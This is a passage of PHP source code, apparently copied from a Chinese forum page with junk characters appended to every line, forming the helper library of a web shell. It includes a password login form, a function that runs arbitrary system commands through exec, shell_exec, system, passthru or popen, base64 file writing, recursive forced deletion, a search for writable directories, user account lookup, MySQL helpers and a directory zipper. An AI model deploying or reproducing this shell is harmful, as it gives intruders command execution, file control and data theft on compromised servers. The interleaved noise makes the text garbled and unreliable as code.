  1321. </body>9 \, J: O  b6 S3 N# U0 f; ^- e
  1322. </html>
    : _8 _) q7 i9 G% @5 [4 u9 B

  1323. 7 d3 [: H: ^: h0 u/ Q
  1324. <?php
    ' q! g/ ^: h! A7 P
  1325. / _9 a( L; S7 b
  1326. /*======================================================8 R/ ?  `* {  c/ O7 }( p
  1327. 函数库/ N+ d! P$ i. {* F7 }
  1328. ======================================================*/
    8 C; l" G( H3 C) c5 D# ~7 L5 ?2 Q

  1329. ! n; D2 V# `9 Z3 }
  1330. function m($msg) {  q' S6 b1 @$ {
  1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';2 z& C$ S8 @$ ~$ t2 U% M+ y4 [1 @
  1332.         echo $msg;
    6 s" s- c# q3 `7 b, n0 `7 p$ q
  1333.         echo '</div>';* g+ K8 D8 Z3 S0 `+ N/ p+ k* J0 J
  1334. }
    " w6 N1 p* `$ n8 b" n
  1335. function scookie($key, $value, $life = 0, $prefix = 1) {
    * _, ^1 {# ~1 u9 ]
  1336.         global $admin, $timestamp, $_SERVER;% c' N- U7 H3 L* X
  1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;! Y  e( a) P6 ]* r1 z9 [  I* @$ S
  1338.         $life = $life ? $life : $admin['cookielife'];
    - P5 s7 L% Y, f8 ?! c  X+ S, S( _' b9 m
  1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
    " |: D( ]* {% e# o+ V5 J
  1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);+ S2 @0 S5 ]! o, T* T4 h. t3 Z
  1341. }       
    % P, R" g" S. _9 k
  1342. function multi($num, $perpage, $curpage, $tablename) {% y7 |3 E6 g: T: Z2 I
  1343.         $multipage = '';$ H( `7 j: F: T0 c3 k; c# d/ m# a
  1344.         if($num > $perpage) {
    6 \. ?2 E* w. Y# u0 s$ {# ^
  1345.                 $page = 10;
    4 r% x" i. W" u( y& N: _
  1346.                 $offset = 5;) t* _/ F8 w) z4 f* R
  1347.                 $pages = @ceil($num / $perpage);! j" l9 y* i6 h! ^+ N8 M2 i
  1348.                 if($page > $pages) {
    $ Q4 M& H6 `) E& W+ y" e+ u  R
  1349.                         $from = 1;
    : t8 r5 e/ S' h- g% K8 u' _
  1350.                         $to = $pages;
    1 b/ {" g; ]6 @2 O2 _
  1351.                 } else {& Q* ^: H5 s2 |
  1352.                         $from = $curpage - $offset;
    ) E3 L, Z2 q& u
  1353.                         $to = $curpage + $page - $offset - 1;
    0 U: N/ R" i( ?# a5 a
  1354.                         if($from < 1) {
    , H8 G8 K1 v" R7 j5 x
  1355.                                 $to = $curpage + 1 - $from;
    5 j' T+ @! ?" ?+ K8 f) _& H
  1356.                                 $from = 1;
    - ]# Y  v' u, u* d2 u
  1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
    4 w/ n. T* s5 x9 m, c& Q
  1358.                                         $to = $page;
    " M' Q* o; Z5 n) S4 r; a
  1359.                                 }: F& z6 n" v1 k) \; u$ U; W, i1 t
  1360.                         } elseif($to > $pages) {
    8 w9 M! ^3 f; i
  1361.                                 $from = $curpage - $pages + $to;2 e7 t2 u6 m, ^1 k) |3 J2 U, a
  1362.                                 $to = $pages;4 z5 u" T5 @: U5 Z- J. \
  1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {  x" ?2 W7 M9 M) Z$ q  l1 f
  1364.                                         $from = $pages - $page + 1;
    4 r( a, E# g7 |! j# F" X* ?/ f3 L
  1365.                                 }
    3 T) ]5 F2 N4 g
  1366.                         }- z; ^# r6 Z7 [7 s
  1367.                 }! I3 Y+ M. v: s) J( |! Z
  1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
    . \$ m. _9 P) Y, X, g' `; N/ x
  1369.                 for($i = $from; $i <= $to; $i++) {
    9 B! S8 d5 U  J- k3 d5 c
  1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';. Q/ s' i; r1 D$ G5 P7 d7 {
  1371.                 }. F6 A; @  h/ a7 M! G# @- w
  1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');9 i8 U4 M0 H+ y5 P" \/ f: N" H
  1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';3 s5 ]$ L! c1 M& E
  1374.         }
    : V* H! j5 O' p6 Q6 \5 |) `6 C$ d  K
  1375.         return $multipage;( i. ^7 @, K8 A& l* H
  1376. }
    $ F8 A( F# b+ W! o* |5 [4 I
  1377. // 登陆入口
    : ~! F3 M5 w$ c
  1378. function loginpage() {
    ! g- {! ]! G8 e1 v6 }& ^1 |
  1379. ?>, k  C) S! U0 \. k
  1380.         <style type="text/css">
    . [% C# m* T8 n+ w! K
  1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
    9 q+ k4 Q- N( r5 T& L# Q* M' w
  1382.         </style>
      K8 Q7 J1 ~3 ?5 p: c3 L5 X0 W2 q; ^5 |" A
  1383.         <form method="POST" action="">. I7 l% [" `9 `2 q, ]
  1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
    4 @+ U. u0 A; @- @; G
  1385.         <input type="hidden" name="doing" value="login">
    / C2 z% p% x& k
  1386.         <input type="submit" value="Login">
    ( Z3 t$ N. N, n5 E) W( J
  1387.         </form>6 A. r8 j! q9 @, J' `5 W0 a+ f' i4 o4 d
  1388. <?php; W0 [" D& f! K/ p/ M
  1389.         exit;
    1 e/ F3 w1 n( j6 x
  1390. }//end loginpage()% ^+ D/ c9 W1 A

  1391. 5 m1 l6 V9 F" N5 l8 z
  1392. function execute($cfe) {
      B$ i0 x- H+ Z" [% m
  1393.         $res = '';5 C) L- T) S1 i0 n
  1394.         if ($cfe) {$ T! o& Z' @4 y6 a4 c+ K
  1395.                 if(function_exists('exec')) {/ R& [" }* A% n$ R9 I
  1396.                         @exec($cfe,$res);
    / U3 P. {1 z4 d, U. Q
  1397.                         $res = join("\n",$res);% v4 M& i- o: n) `( e6 e- |
  1398.                 } elseif(function_exists('shell_exec')) {
    $ [# o# P$ k% e+ K: u% S7 \
  1399.                         $res = @shell_exec($cfe);' |4 ~7 x* v  Y2 ?- H
  1400.                 } elseif(function_exists('system')) {
    , R7 q5 v1 P$ C+ w" R( J& F
  1401.                         @ob_start();/ s, f3 Q1 V8 j  _9 P8 m$ ^4 r
  1402.                         @system($cfe);( u$ D4 t2 o4 D7 Q
  1403.                         $res = @ob_get_contents();
      Y6 x* }. K0 ?4 \) a  Y+ }
  1404.                         @ob_end_clean();
    ! k& D$ x* [8 N, b8 q$ U6 z! x
  1405.                 } elseif(function_exists('passthru')) {9 F/ }* t' \0 @* q
  1406.                         @ob_start();
    8 g: C* _4 Q5 o+ ?8 @
  1407.                         @passthru($cfe);1 f0 C4 C* f1 P5 q/ o# z
  1408.                         $res = @ob_get_contents();
    2 E( a2 v! G% K& W1 v8 t& O4 C
  1409.                         @ob_end_clean();0 k% y  |5 F# V/ U$ ^' _
  1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {0 h2 M) [, N: X- I9 b' b* l
  1411.                         $res = '';4 N. b+ V3 X+ q2 ]4 w8 K2 R7 v
  1412.                         while(!@feof($f)) {$ x# B6 I! E1 h0 y' Y
  1413.                                 $res .= @fread($f,1024); + l. i3 A1 n2 w! E& y# x, [
  1414.                         }6 L. ]0 C" {! q7 A/ v* y3 s
  1415.                         @pclose($f);
    ; ^4 |8 R: T4 ]! r5 F8 n' {* e
  1416.                 }: ]6 R- {  F5 ^( {
  1417.         }0 X* a; H% F. N5 n. Q( S# p7 E
  1418.         return $res;  [+ V3 v2 N9 `2 z8 J
  1419. }. G& a3 Z# o) N, j% Y# E
  1420. function which($pr) {7 P: Z- |% L( K
  1421.         $path = execute("which $pr");
    7 P- i% L8 a' E( [) Q
  1422.         return ($path ? $path : $pr);
    % t4 ~& E2 a- S- f6 _7 I8 e
  1423. }
    $ {( L7 K8 f! E! H9 u$ l

  1424. 2 G4 D; R* v0 `
  1425. function cf($fname,$text){
      P# h  Z9 r/ Q. o! k, T1 W) ]0 W4 r
  1426.         if($fp=@fopen($fname,'w')) {
    8 c% Z8 ^( d9 @  B4 Y" z4 m
  1427.                 @fputs($fp,@base64_decode($text));
    ) O8 s4 R6 V; }4 i
  1428.                 @fclose($fp);
    . ^1 A1 @6 h, D$ }9 P) l
  1429.         }
    ; ?: k1 R- R7 f! |) K9 n  a
  1430. }
    8 `2 h2 O- M: H) Z# D9 _% t/ I, B

  1431. / T& v! M6 S5 n$ B* z4 A9 e
  1432. // 页面调试信息
    . X) O) b0 z8 M& R  h
  1433. function debuginfo() {6 ]8 c' T$ T3 A
  1434.         global $starttime;+ [4 D3 t. i- e# ]$ q: d2 J* J& R
  1435.         $mtime = explode(' ', microtime());
    / x0 D5 S6 x( O: h, Z& t3 \+ D
  1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);9 [% G+ t% L8 f" \
  1437.         echo 'Processed in '.$totaltime.' second(s)';+ C! |! u/ q# J+ O, j
  1438. }
    & K( M! m3 c1 ^- u: q
  1439. 2 X$ Y$ t% a8 @- u9 d+ B9 t- D" {
  1440. //连接数据库
    " g' C: x& @8 V! E1 ^  k2 `
  1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
    & S) i5 w4 U3 _; L9 q) M
  1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
    / U2 k/ V  i* ?& |2 ?
  1443.                 p('<h2>Can not connect to MySQL server</h2>');! S$ s) ^/ j5 B6 y% D
  1444.                 exit;$ x" a6 j4 l' Y* N  U$ ]3 p% q: V
  1445.         }2 y8 Q$ u3 M, A* I7 [
  1446.         if($link && $dbname) {
    % |3 n+ N+ c3 P7 S. M% E3 M
  1447.                 if (!@mysql_select_db($dbname, $link)) {
    8 \# f* o- a4 y7 |6 M' [
  1448.                         p('<h2>Database selected has error</h2>');
    ( z% p; E) M, [& L
  1449.                         exit;; x! X' z. Z0 n8 e, q# ~6 l1 t
  1450.                 }7 F/ a1 H  ?: o  c* ?) v; s
  1451.         }4 \3 p- {/ Q/ V0 h- b
  1452.         if($link && mysql_get_server_info() > '4.1') {1 k' n/ l6 p% Z4 ]& l$ z3 ?, W& K
  1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {: R* y4 u% K5 w4 ?
  1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
    % f( S0 W. b4 u- ?
  1455.                 }
    * @9 G- E% K* P
  1456.         }2 _, ?$ w: W' I/ W6 I" J* |( x9 w
  1457.         return $link;2 k; `7 Q1 e) z) w# ^
  1458. }
    7 B' a* N  s. \8 j6 Q
  1459. # b8 |% J# k1 u4 m. L' X9 w
  1460. // 去掉转义字符
    # }! o; X% F6 S/ t4 G$ {+ r) W
  1461. function s_array(&$array) {7 v+ Q( S. y, D5 f& g( F$ [! H$ F
  1462.         if (is_array($array)) {
    3 c1 c1 t5 r" I- ?9 N0 c
  1463.                 foreach ($array as $k => $v) {
    + b7 q7 A& K, q8 Z" b) |( \+ j
  1464.                         $array[$k] = s_array($v);4 Y, H9 Y$ t+ B
  1465.                 }
      q* i" B  m0 A( F8 Y) ]
  1466.         } else if (is_string($array)) {" G2 ^  Z$ ^' t8 t
  1467.                 $array = stripslashes($array);
    4 |' @2 |! Z3 O
  1468.         }
    0 ?3 T* U: O+ W$ v, A
  1469.         return $array;
    ' {% k, [! X5 n  q- K
  1470. }8 F) A$ F! s' h2 ?6 k! F
  1471. $ u. j% l* S' R- ]6 x9 y
  1472. // 清除HTML代码/ E7 Y" I- X( n# u2 y3 U, @9 A
  1473. function html_clean($content) {4 R  L- q! a; Y6 H. z
  1474.         $content = htmlspecialchars($content);
    6 V, Y/ \; `1 e! q
  1475.         $content = str_replace("\n", "<br />", $content);
    - U+ z7 K' L- s
  1476.         $content = str_replace("  ", "  ", $content);- B+ p) |$ Q6 S# c
  1477.         $content = str_replace("\t", "    ", $content);( ]; q8 J/ }8 E" c6 O
  1478.         return $content;  v3 t+ {2 k# v
  1479. }/ z: M. A9 q- Q  e. x* B3 {" F
  1480. ' r' v, i6 k4 c% Z: i6 r8 D
  1481. // 获取权限6 Z! N* F. U/ {
  1482. function getChmod($filepath){1 J& f/ l* O# [# ^) H- X' e
  1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);
    ; |1 j  h7 G0 }* l0 u2 J' a
  1484. }
    ! w* m0 Z( k( K6 x# A, m% Q
  1485. 6 k; j. o* s* _3 A4 }( `" c
  1486. function getPerms($filepath) {, k# |  o0 R$ D  e& c7 g  b  k4 R1 k
  1487.         $mode = @fileperms($filepath);" x: O5 L( E& y  a0 j/ N
  1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}6 y3 k3 Y" m. u! _6 m& }- X5 J
  1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
    + p" s7 A7 P5 ^. {& s+ S+ r. D
  1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
    / k2 O' D% g8 L2 \- c
  1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
    6 e9 `. z: O) M9 ?- |. s( \
  1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
    - |. c: z' y  X. L( F, u
  1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
    ) O1 X4 M8 z) A- P# j: y
  1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}3 {5 y# F+ E( w: c% k$ E- k8 |3 p
  1495.         else {$type = '?';}/ R' W) _# M* u/ B5 e

  1496. 1 u9 Z* B. h  |* f
  1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-'; ) g  ^) K- P" O0 _+ \3 m5 _
  1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-'; ; O9 b- W  @! z; P+ t) B0 w. C2 n
  1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-'; ! e& f: u/ u5 h1 H# [
  1500.         $group['read'] = ($mode & 00040) ? 'r' : '-';
    & I6 t( o) E7 K6 r( ^* Q6 c
  1501.         $group['write'] = ($mode & 00020) ? 'w' : '-';
    . \; M" }" n8 S% c0 y, N5 @
  1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
    0 d' ?# z- e. W
  1503.         $world['read'] = ($mode & 00004) ? 'r' : '-';
    $ |, d! @5 Q) E. l
  1504.         $world['write'] = ($mode & 00002) ? 'w' : '-';
    8 }+ }* S8 \( y: o' l
  1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-';
    ) @% |9 B  D' _+ V. x0 j

  1506. 8 ]! F; a6 Y3 g4 f
  1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
    , n3 ^7 T1 b+ i6 w
  1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
    . m0 ~$ Z; f8 d" k( s
  1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
    + ?/ b5 g+ ]1 o$ z
  1510. 4 U8 n& h. r7 G# o
  1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];& Z% z2 }& e; }9 m( \
  1512. }3 u4 a7 s0 Q7 J
  1513. " N7 e; J4 m; k! u0 J5 @* i8 t
  1514. function getUser($filepath)        {. T0 r* y$ ?9 Y2 d; Y' A( E# g
  1515.         if (function_exists('posix_getpwuid')) {) {& e( V# `/ M$ n( U- f
  1516.                 $array = @posix_getpwuid(@fileowner($filepath));3 Y6 H% d" D9 r4 G/ E
  1517.                 if ($array && is_array($array)) {8 P2 j! G) f! y1 Z2 Y, r3 z
  1518.                         return ' / <a href="#" title="User: '.$array['name'].'4 I( b9 i+ W. B
  1519. Passwd: '.$array['passwd'].'. f8 F1 y8 p2 Q/ p+ ~5 G: ^' j3 H
  1520. Uid: '.$array['uid'].'
    : F- C7 I7 h: J6 v, g' {  C1 U
  1521. gid: '.$array['gid'].'
    9 J6 ~! f8 t! t, E# ?
  1522. Gecos: '.$array['gecos'].'+ g; r/ ^' y# Q% k" X( B! O
  1523. Dir: '.$array['dir'].'
    6 v4 a- y6 |. y2 M# V# e1 [
  1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';/ s) o4 y4 h2 d5 V  V
  1525.                 }) U7 {6 y  k: \& M7 ]# l
  1526.         }
    1 \0 H8 }6 x' g& o
  1527.         return '';
    9 B5 |* n1 T3 E- G5 u* G4 y
  1528. }
    4 y8 y1 H* ?8 M+ H0 F2 z8 |2 W
  1529. - ?3 J( s( V0 P$ q' j) @4 `
  1530. // 删除目录  x0 {( C' a* Z& F' C# y
  1531. function deltree($deldir) {% N5 y( h) |0 c9 P1 v
  1532.         $mydir=@dir($deldir);        " ]$ H8 K6 ^/ e4 T8 K  z
  1533.         while($file=$mydir->read())        {                
    - y6 z! E6 w) L; S- c3 x9 b0 j6 p" h
  1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
    4 {! t8 n8 A" \* `! W+ N# T, E# i
  1535.                         @chmod($deldir.'/'.$file,0777);0 D3 Y: V. g/ \8 _* J) s* b0 r, Y
  1536.                         deltree($deldir.'/'.$file); % w) P/ j7 L# J- ]6 e* ?$ M
  1537.                 }% A! G3 [# P1 C; C
  1538.                 if (is_file($deldir.'/'.$file)) {! i8 m7 g0 ^: C8 w3 _7 S9 [
  1539.                         @chmod($deldir.'/'.$file,0777);
    . X3 A9 n) }4 ^1 z% w7 n6 y2 \/ X; i
  1540.                         @unlink($deldir.'/'.$file);
    : Z5 C, d4 {2 G
  1541.                 }; L: ]' P; I% c1 d9 u; c& U
  1542.         }
    ; S, {2 E2 L( G3 U5 D& t. Y9 Q1 N: P
  1543.         $mydir->close(); % {$ C/ E) Q( J. b6 ^
  1544.         @chmod($deldir,0777);" `! Q4 u$ A& |+ }  q
  1545.         return @rmdir($deldir) ? 1 : 0;" \6 K# N$ C  b/ H
  1546. }
    3 {; Q$ {  U, X1 E" }

  1547. 7 g% [3 x/ G. |5 N/ ]) x
  1548. // 表格行间的背景色替换! I& n  k3 M# {  u+ a
  1549. function bg() {/ U2 L0 f0 ~! v4 p) [
  1550.         global $bgc;0 L1 b6 g: W0 L( r# }) R, v( t4 E$ l
  1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';
    0 V0 f; f: Z6 a1 [5 S: E! i
  1552. }
    / u2 t  Q2 f  \& X( o

  1553. # |& `0 p, i" ?. x) O
  1554. // 获取当前的文件系统路径' x: {8 B% d8 W4 F. }- n9 r
  1555. function getPath($scriptpath, $nowpath) {
    " Y" d0 r& z# B1 D- }
  1556.         if ($nowpath == '.') {8 n. f. R2 Y# K; W8 y6 C, J
  1557.                 $nowpath = $scriptpath;: u* ^$ G4 c+ }! n& M/ \
  1558.         }
    ! F1 i% q4 E- v! v
  1559.         $nowpath = str_replace('\\', '/', $nowpath);' |- p% \1 S8 I3 l2 M- }7 r% l+ ?
  1560.         $nowpath = str_replace('//', '/', $nowpath);' P8 e( q: V+ e
  1561.         if (substr($nowpath, -1) != '/') {
    " Q7 T6 Y; d9 f; n" }6 c5 C4 d
  1562.                 $nowpath = $nowpath.'/';8 V9 q. X( `% d* c" |) @
  1563.         }
    . N" h. E0 B) N1 K7 _# X
  1564.         return $nowpath;: Z1 H! X% I: ?, N
  1565. }
    , a5 h$ Q  o6 @( B

  1566. & G" A; o0 c+ r; r
  1567. // 获取当前目录的上级目录
    ( W& s8 D% l$ d0 R* _* e2 D
  1568. function getUpPath($nowpath) {
    - J1 ]& Y# g6 o8 V
  1569.         $pathdb = explode('/', $nowpath);( l8 C. E. K. F0 _+ e- Q
  1570.         $num = count($pathdb);; z% \! P  x2 @6 q9 J9 K
  1571.         if ($num > 2) {
    ' b% K) O. f) P
  1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);1 ^6 p8 w' u! K6 r8 ^8 `, \! J* Q
  1573.         }
    7 @* l9 z6 r' E! q0 E2 w( K! Q' W; ~
  1574.         $uppath = implode('/', $pathdb).'/';
    " j3 U. Z0 X" J" A
  1575.         $uppath = str_replace('//', '/', $uppath);8 z, ?" {+ u1 o, F/ V" H: M
  1576.         return $uppath;5 u/ F, b5 F. y! k$ r# B2 y5 S
  1577. }
    8 a* c/ N& Z4 G/ T
  1578. . E. h+ U0 [% K2 s, w  C1 ~3 ?
  1579. // 检查PHP配置参数
    3 U" g5 W* V7 f
  1580. function getcfg($varname) {- Q4 S9 |) k4 f$ M* J
  1581.         $result = get_cfg_var($varname);
    . L8 o; C: b2 |1 V5 X' q  V( S
  1582.         if ($result == 0) {
    # O8 N( g( h  Z+ g% {1 T/ h8 E
  1583.                 return 'No';
    % U6 s1 P6 a  }' t5 P; E
  1584.         } elseif ($result == 1) {
    5 t9 h  ]$ ~# G1 L
  1585.                 return 'Yes';, u8 y; x7 B/ _0 F
  1586.         } else {
    1 l+ O: {6 ~; P0 \5 ?0 ~- Q. v
  1587.                 return $result;: R8 }8 h; t0 c6 _3 {/ z( E9 T
  1588.         }
    ; H* w6 f6 n3 Y# S
  1589. }
    " P; H) g# J7 ?, X! \* V" ?
  1590. 9 a& R0 Y  A5 h/ T
  1591. // 检查函数情况" t. ?2 A9 f( j) |" }8 l6 I9 ~
  1592. function getfun($funName) {
    , l& Q. a/ M0 w
  1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';
    0 i5 P% \, ]4 R* @% ^
  1594. }
    $ `* z+ n8 G1 z. A8 M1 G

  1595. / B7 @6 e# Z6 k3 ^; [8 Z0 p
  1596. function GetList($dir){& Q6 B, x: e- x. s1 J. z* X
  1597.         global $dirdata,$j,$nowpath;5 p( h2 T* R) s1 V  Z* d) D# a
  1598.         !$j && $j=1;: v- l/ u  z+ q# _% p
  1599.         if ($dh = opendir($dir)) {& ]( ?) P0 @" O) i5 d. _% h# k
  1600.                 while ($file = readdir($dh)) {7 ~% N9 z6 K3 ~' a& e
  1601.                         $f=str_replace('//','/',$dir.'/'.$file);
    $ G5 w! Q) i& A% [+ `2 Z; Y
  1602.                         if($file!='.' && $file!='..' && is_dir($f)){5 j: H# N6 p1 f: `$ u
  1603.                                 if (is_writable($f)) {$ }: S9 d- k3 k& y# D- q8 Q
  1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
    3 v8 r: i. Y( J* ?* U% f
  1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
    ) T  m2 `7 c! g( x9 L6 D
  1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);
    " C5 y3 _/ k- [% R, D4 m
  1607.                                         $dirdata[$j]['dirperm']=getPerms($f);
    9 ?0 |8 R$ d7 \4 {1 b: j/ c
  1608.                                         $dirdata[$j]['dirlink']=ue($dir);
      Z9 `/ q0 ]( @
  1609.                                         $dirdata[$j]['server_link']=$f;3 |8 b" q& U1 d) g9 l
  1610.                                         $dirdata[$j]['client_link']=ue($f);
    6 f0 c; d/ A6 _- o' {
  1611.                                         $j++;8 p+ {% h" @  f  g; n) j
  1612.                                 }
    " h; f8 S5 y# C7 w/ X) O7 M
  1613.                                 GetList($f);5 [7 L2 D5 {  G* @! n* g5 D
  1614.                         }. d# L- q, @2 F! t& n( c1 }
  1615.                 }
    / o" J( T3 p! B9 {4 w1 a! a! X2 i
  1616.                 closedir($dh);
    ; o: X. v* r, v0 ]0 L3 o6 b1 S9 g) f
  1617.                 clearstatcache();
    8 _: O. q/ e0 w& w
  1618.                 return $dirdata;0 V' o) G# U& n% @3 l! U- b
  1619.         } else {/ X! I) m2 S7 s! n0 B
  1620.                 return array();
    " H& }1 N+ \& {# q# G
  1621.         }
    ' U/ D8 d$ C9 ?5 Z# P
  1622. }
    . t- L1 m6 P" S+ R2 p

  1623. $ Y) R& F$ F+ N% }  c2 |. m
  1624. function qy($sql) {
    0 Z( ~7 Z- L  Q7 N/ k
  1625.         //echo $sql.'<br>';
    ! ~5 `! G! T- {9 }# Y0 s& B
  1626.         $res = $error = '';
    : C: r$ I9 Y; P+ l- h
  1627.         if(!$res = @mysql_query($sql)) { . q9 x4 ~% b* Q" p4 j
  1628.                 return 0;% K* \) V6 T1 M" N; g. R
  1629.         } else if(is_resource($res)) {% m* p, P' Z; B
  1630.                 return 1; " U7 g0 [# [, U. |
  1631.         } else {- ^4 V1 h4 H1 |  Q$ j' L, p
  1632.                 return 2;
    ) g3 d1 C  R# n! d3 L8 g- P
  1633.         }        1 t# S1 l+ q- B7 H
  1634.         return 0;* p( U* H( P3 C/ G9 J. `/ Y
  1635. }% A3 }% z6 b% \0 }$ a& z( A4 g

  1636. + A- O7 p8 M. f/ M/ z
  1637. function q($sql) {
    6 y! _. D6 V2 e1 u
  1638.         return @mysql_query($sql);) e5 o/ ?) E- z' H& c' \
  1639. }$ [) _& J) t& s4 g) S, T! ~8 q/ o
  1640. 3 i8 Z9 `) {) k: A" P& N
  1641. function fr($qy){4 T* U/ h7 i- b
  1642.         mysql_free_result($qy);$ E4 l" T) S$ Y5 K; I1 k
  1643. }: x: x2 I1 d1 R! _7 c+ }
  1644. ; k- R! f' W- m+ k' c
  1645. function sizecount($size) {
    1 r( ]) t9 e( y+ n" D2 E( T2 x8 Q
  1646.         if($size > 1073741824) {: o) I, H# o: {' O% E' u3 S- f
  1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';. Z2 j- V" M6 ~5 g( s
  1648.         } elseif($size > 1048576) {
      t" w' o5 R5 Z; n" E
  1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';8 z+ b5 |) v7 g8 a
  1650.         } elseif($size > 1024) {9 p# M: [" L: ?% @. M# K
  1651.                 $size = round($size / 1024 * 100) / 100 . ' K';! V  s5 N' h! ^" P8 N
  1652.         } else {
    $ R6 Y( o* ]! f4 P3 O, i$ U- ^- f
  1653.                 $size = $size . ' B';1 g( x. p5 e0 {. p, G
  1654.         }( _. _. t3 {/ p2 u/ I; r
  1655.         return $size;) {# ~. F1 X& ^  R( i  i
  1656. }$ ?/ a- A) A2 B
  1657. 2 q1 Q. P' L. B. i" t$ o
  1658. // 压缩打包类
    : D; O4 h( t# Z& d/ p% j2 P' E
  1659. class PHPZip{1 q4 p4 U& f2 G. M/ a
  1660.         var $out='';" U& E1 [4 d7 A; v. l& S) ^
  1661.         function PHPZip($dir)        {7 `0 L+ g8 y+ `% J$ W% P2 f9 e
  1662.                 if (@function_exists('gzcompress'))        {
    $ D9 O& A; U- j, }, r6 i
  1663.                         $curdir = getcwd();4 L6 i- @6 g( R$ d
  1664.                         if (is_array($dir)) $filelist = $dir;
    $ P& ^0 M3 n6 x4 D: p1 y8 k
  1665.                         else{9 l7 r% Q$ H3 u( m8 V+ \1 h
  1666.                                 $filelist=$this -> GetFileList($dir);//文件列表9 @/ ^" C8 |! F% E' R; u$ \+ Z/ W
  1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);) X. Q9 g  S$ K5 q/ v/ x" B
  1668.                         }
    + ^& M2 ^7 F! Q" u' l1 j. J$ G
  1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);4 x2 y, F' q  @$ G) m
  1670.                         else chdir($curdir);) i* p# U. X6 j* }# P) y! q
  1671.                         if (count($filelist)>0){
    + P5 {& d4 _  s# T# _0 n7 _3 a
  1672.                                 foreach($filelist as $filename){6 d* I( m7 T+ J$ b5 ^7 v
  1673.                                         if (is_file($filename)){5 ~3 z- J2 K& k% X
  1674.                                                 $fd = fopen ($filename, 'r');
    $ a. J* h; r4 h) [9 O6 q
  1675.                                                 $content = @fread ($fd, filesize($filename));! F) d; c. N) A$ }
  1676.                                                 fclose ($fd);2 A7 T: m9 t. a7 v- C
  1677.                                                 if (is_array($dir)) $filename = basename($filename);- H- ^- }* E+ `7 K2 P% C5 Q% V5 U
  1678.                                                 $this -> addFile($content, $filename);
    1 T! N8 o0 o7 c) D+ I1 D
  1679.                                         }/ [; W4 ?0 E! [1 \8 _
  1680.                                 }$ s, x/ m* R2 H7 S! D+ ?' x
  1681.                                 $this->out = $this -> file();! r6 P3 b  e/ a! @; s9 ]8 C/ q
  1682.                                 chdir($curdir);
    9 w6 X  _/ e/ B# k: N
  1683.                         }; N3 {* R, p  E/ C/ x7 A
  1684.                         return 1;
    1 n6 j/ J. z# O) [9 O- q
  1685.                 }
    : L+ J9 S" z! w, w) Y# W
  1686.                 else return 0;3 T& U. l1 d- J3 z) ^' S
  1687.         }
    5 @' {7 P0 n$ B4 R/ e
  1688. . d7 |9 M; v2 k" L; U
  1689.         // 获得指定目录文件列表
    $ p$ z8 S, p+ c. v/ X( o5 Z$ G
  1690.         function GetFileList($dir){9 o& Z. d; q$ v+ O2 r6 A7 K; X+ y
  1691.                 static $a;
    8 G4 n, G. Z) }- @0 }# L
  1692.                 if (is_dir($dir)) {' u/ v! u& {. k' U
  1693.                         if ($dh = opendir($dir)) {
      l$ \4 Z+ x0 F' l: F: }4 _5 y5 G
